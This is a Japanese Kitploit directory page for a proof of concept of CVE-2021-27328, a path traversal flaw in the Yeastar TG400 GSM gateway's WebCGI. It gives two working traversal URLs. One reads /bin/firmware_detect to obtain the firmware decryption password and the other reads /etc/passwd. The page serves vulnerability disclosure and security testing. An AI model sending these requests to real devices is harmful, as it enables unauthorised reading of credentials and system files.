Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-27328 — Yeastar TG400 GSMゲートウェイにおけるパストラバーサルの概念実証。WebCGIへの巧妙に細工されたHTTPリクエストを介した任意ファイル読み取りを実証します。 | Kitploit
ツール/GitHubGitHub/sqsamir/cve-2021-27328
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubsqsamir/cve-2021-27328

CVE-2021-27328

Yeastar TG400 GSMゲートウェイにおけるパストラバーサルの概念実証。WebCGIへの巧妙に細工されたHTTPリクエストを介した任意ファイル読み取りを実証します。

リポジトリを見る
210ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Yeastar TG400 GSM Gateway におけるパストラバーサル - 91.3.0.3

これは CVE-2021-27328 の Proof of Concept です

例

  • ファームウェア復号化パスワードを取得する
root@kitploit:~
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmware_detect

ZIP パスワード

  • /etc/passwd を取得する
root@kitploit:~
http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../etc/passwd

/etc/passwd

ツールをダウンロード